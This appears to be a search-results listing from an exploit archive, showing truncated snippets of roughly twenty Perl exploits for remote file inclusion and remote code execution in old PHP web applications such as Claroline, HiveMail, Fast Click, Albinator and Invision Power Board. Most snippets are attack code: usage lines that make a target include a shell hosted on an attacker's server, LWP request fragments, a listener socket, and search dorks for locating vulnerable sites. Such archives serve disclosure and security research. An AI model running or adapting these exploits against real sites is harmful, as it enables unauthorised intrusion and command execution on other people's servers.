1521 matches found
Claroline E-Learning 1.75 - 'ldap.inc.php' Remote File Inclusion
!/usr/bin/perl Claroline Open Source e-Learning 1.7.5 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.claroline.net The file...
Jetbox CMS <= 2.1 (relative_script_path) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ====================================================================== Jetbox CMS uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor:...
HiveMail 1.3 - addressbook.add.php Remote Code Execution
HiveMail 1.3 - addressbook.add.php Remote Code Execution !/usr/bin/perl HiveMail = 1.3 remote command execution exploit Advisory: http://www.gulftech.org/?node=research&articleid=00098-02102006 To get the hivesession: log on hivemail with firefox then look at the hivesession number in the url. ye...
HiveMail <= 1.3 (addressbook.add.php) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl HiveMail = 1.3 remote command execution exploit Advisory: http://www.gulftech.org/?node=research&articleid=00098-02102006 To get the hivesession: log on hivemail with firefox then look at the hivesession number in the url. yes i know... Dork:...
HiveMail 1.3 - 'addressbook.add.php' Remote Code Execution
!/usr/bin/perl HiveMail = 1.3 remote command execution exploit Advisory: http://www.gulftech.org/?node=research&articleid=00098-02102006 To get the hivesession: log on hivemail with firefox then look at the hivesession number in the url. yes i know... Dork: "Already have an account?" "Enter your...
Auction 1.3m - 'phpbb_root_path' Remote File Inclusion
!/usr/bin/perl phpBB auction mod - Remote File Inclusion Vuln Bug discovered by VietMafia code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path =...
Albinator <= 2.0.6 (Config_rootdir) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl Albinator Multiple Parameter File Inclusion Bug discovered by VietMafia and r0t code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click = 2.3.8 Remote File Inclusion exploit Dork:"powered by Albinator " usage: perl wb.pl target cmd shell...
Albinator <= 2.0.6 (Config_rootdir) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ================================================================= Albinator perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd =...
Fast Click 1.1.32.3.8 - show.php Remote File Inclusion
Fast Click 1.1.32.3.8 - show.php Remote File Inclusion !/usr/bin/perl Fast Click perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// ||...
Fast Click (<= 1.1.3 , <= 2.3.8) (show.php) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ========================================================================= Fast Click perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0;...
Aardvark Topsites PHP <= 4.2.2 (lostpw.php) Remote Include Exploit
Exploit for unknown platform in category web applications ================================================================== Aardvark Topsites PHP $host, "proxy=s" = $proxy, "verbose+" = $verbose; &usage unless $host; while print color"green", "cijfer\ ", color"reset"; chomp$command = ; exit...
Aardvark Topsites PHP 4.2.2 - 'lostpw.php' Remote File Inclusion
!/usr/bin/perl Aardvark Topsites PHP All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd= php shell set to 'http://my.shell.fi/phpshell.gif?&cmd='...
Invision Power Board 2.1.5 - search.php Remote Code Execution
Invision Power Board 2.1.5 - search.php Remote Code Execution !/usr/bin/perl Wed Apr 26 16:44:15 CEST 2006 [email protected] INVISION POWER BOARD 2.1.5 pr00f 0f c0ncept remote command execution. vuln credits goes to IceShaman. works only if you have perms to post a comment. Exploit with replye is...
Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ================================================================= Advanced GuestBook if @ARGV ne 3 else sub header print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; print "+ Advanced GuestBook for...
Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit
No description provided by source. !usr/bin/perl use LWP::UserAgent; Bug Found by Oo Exploit coded by n0m3rcy Copyright c 2006 [email protected] Gr33tz; nukedx , Devil-00 , str0ke , cijfer Usage; n0ag.pl target cmd shell location cmd shell variable if @ARGV ne 3 else sub header print...
TopList 1.3.8 - 'phpBB Hack' Remote File Inclusion (2)
TopList Hack for PHPBB "$hostname", LocalPort = '9999', Proto = 'tcp', Listen = 1, Reuse = 1, ; die "Could not create socket: $!\n" unless $sock; if my $pid = fork my $newsock = $sock-accept; my $request = ; print $newsock "HTTP/1.1 200 OK\n"; print $newsock "Content-Length: $contentl...
Advanced Guestbook 2.4.0 - 'phpBB' Remote File Inclusion
!usr/bin/perl use LWP::UserAgent; Bug Found by Oo Exploit coded by n0m3rcy Copyright c 2006 [email protected] Gr33tz; nukedx , Devil-00 , str0ke , cijfer Usage; n0ag.pl if @ARGV ne 3 else sub header print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; pri...
PHP Net Tools 2.7.1 - Remote Code Execution
PHP Net Tools 2.7.1 - Remote Code Execution !/usr/bin/perl PHP Net Tools Remote Code Execution Exploit by FOXMULDER [email protected] Vulnerability found by FOXMULDER. "Born to be root !!!" ----------------------------------+ PHP Net Tools | Copyright C 2005 Eric Robertson | [email protected] |...
Internet PhotoShow (page) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl Exploit by Hessam-x www.hessamx.net sub usage print " Usage: perl hx.pl host cmd shell cmd shell variable\r\n\n"; print " example : perl hx.pl www.milw0rm.com milw0rm.com/hx.txt cmd"; exit; / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | \ /| | // /...
Internet PhotoShow 1.3 - 'page' Remote File Inclusion
!/usr/bin/perl Exploit by Hessam-x www.hessamx.net sub usage print " Usage: perl hx.pl host cmd shell cmd shell variable\r\n\n"; print " example : perl hx.pl www.milw0rm.com milw0rm.com/hx.txt cmd"; exit; / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz...